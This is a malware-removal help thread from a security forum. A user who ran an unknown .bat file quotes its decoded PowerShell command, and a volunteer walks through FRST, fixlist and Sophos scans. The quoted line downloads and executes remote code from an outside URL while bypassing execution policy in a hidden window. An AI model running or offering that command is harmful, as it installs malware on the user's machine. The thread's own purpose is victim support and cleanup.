Problem with removing an advanced malware/trojan

[hikaroyuki]

So i was dumb enough to open a bat with a random name, after that my cmd opened and my pc shutdown, after that my windows 10 just update itself and then a bunch of files + registry entry was on my pc now i can't remember all files but i remember that one of them was AutoItScript V3, a file caled orhcel (dont exist on google, so i guess that this was made by the guy himself) and a clone of my ''User'', with some files, also apparently that thing bypassed my powershell as someone that analyzed the bat for me said  that  the bat file generates the following code''iex("IEX(New-Object Net.WebClient).DownloadString('https://lualhiphop.live/jump0703/wIejTcWV06yKU.php?NCemeY=1CUnmUgzREjrVfmr7XZCpru9BfQNR88DqpCsiBfSejxQf3vFhw3t4JQZu')"); cmd.exe /c powershell.exe -exec bypass -nop -win 1 -

I will also add this pastebin that he send me https://pastebin.com/RvgnaakA 

Notice: I already did several scans after deleting all the files, i scanned my pc with: Panda dome, Malwarebytes, Zemana anti malware, CCE, TDSSKiller, SuperAntiSpyware and Hitmanpro they all says that i dont have any problem.

JDSFS939D-7331.zip

[nasdaq]

Hello, Welcome to Malwarebytes.
I'm nasdaq and will be helping you.

If you can please print this topic it will make it easier for you to follow the instructions and complete all of the necessary steps in the order listed.
===

The Zip file you attached to your previous post is being reported as unsafe.
Please delete it if your can.  If not let me know and I will ask an Administrator to delete it.
===

Download the Farbar Recovery Scan Tool (FRST).
Choose the 32 or 64 bit version for your system.
and save it to a folder on your computer's Desktop.
Double-click to run it. When the tool opens click Yes to disclaimer.
Press Scan button.
It will make a log (FRST.txt) in the same directory the tool is run. Please copy and paste it to your reply.
The first time the tool is run, it makes also another log (Addition.txt). Please attach it to your reply.

How to attach a file to your reply:
In the Reply section in the bottom of the topic Click the "more reply Options" button.

Attach the file.
Select the "Choose a File" navigate to the location of the File.
Click the file you wish to Attach.
Click Attach this file.
Click the Add reply button.
===

Please post the logs  for my review.

Wait for further instructions

p.s.
Do not Zip your files post them or attach them as .txt files.

 

[hikaroyuki]

Hello! And sorry, i dont know how to edit the topic, i'm total newbie on forums like this.

Here's both files that the frst showed me

Addition.txt FRST.txt

[nasdaq]

Hi,

Remove this program in bold via the Control Panel > Programs > Programs and Features.
KMSpico (HKLM\...\{8B29D47F-92E2-4C20-9EE0-F710991F5D7C}_is1) (Version:  - )
===

Please download the attached Fixlist.txt file to  the same folder where the Farbar tool is running from.
The location is listed in the 3rd line of the FRST.txt log you have submitted.

Run FRST and click Fix only once and wait.

The tool will create a log (Fixlog.txt) please post it to your reply.
===

Please post the Fixlog.txt and let me know what problem persists.

fixlist.txt

[hikaroyuki]

Hi, i dont think that the problem was the kms thing, i already had that before clicking the bat file, but here's the log

Fixlog.txt

[hikaroyuki]

I did the same but with a more advanced bat. We are retarded. I never got any virus on my entire life and i just clicked on a bat wih a random name because yes.

Anyway, good luck with finding someone to help, i'm trying to see if i'm safe now.

[nasdaq]

Check it out.

Sophos Virus Removal Tool

Please download Sophos Virus Removal Tool and save it to your computer's Desktop.

• Right-click the icon and select Run as administrator.
• Click Yes to accept any security warnings that may appear.
• Click the Next button.
• Select 'I accept the terms in the license agreement', then click Next twice.
• Click the Install button and wait until the installation is complete.
• Click the Finish button. The tool created a shortcut icon on the Desktop of your computer.
• Now, double-click the Sophos Virus Removal Tool shortcut icon to run the tool.
• Click Yes to accept any security warnings that may appear.
• After it updates and a "Start Scanning" button appears in the lower right:
  
  • Disconnect from the Internet or physically unplug your Internet cable connection.
  • Close all open programs, scheduling/updating tasks and background processes that might activate during the scan including the screensaver.
  • Temporarily disable your anti-virus and real-time anti-spyware protection.
    
  
  
  

Windows Vista and above:
C:\ProgramData\Sophos\Sophos Virus Removal Tool\Logs\SophosVirusRemovalTool.log
 
Please post the contents of the log in your next reply and note any errors encountered.
===

[hikaroyuki]

oops, that last answer was to another topic, sorry.

But ok;

[nasdaq]

Are you still with me?

[AdvancedSetup]

Due to the lack of feedback, this topic is closed to prevent others from posting here.

If you need this topic reopened, please send a Private Message to any one of the moderating team members. Please include a link to this topic with your request.

This applies only to the originator of this topic. Other members who need assistance please start your own topic in a new thread.

Thanks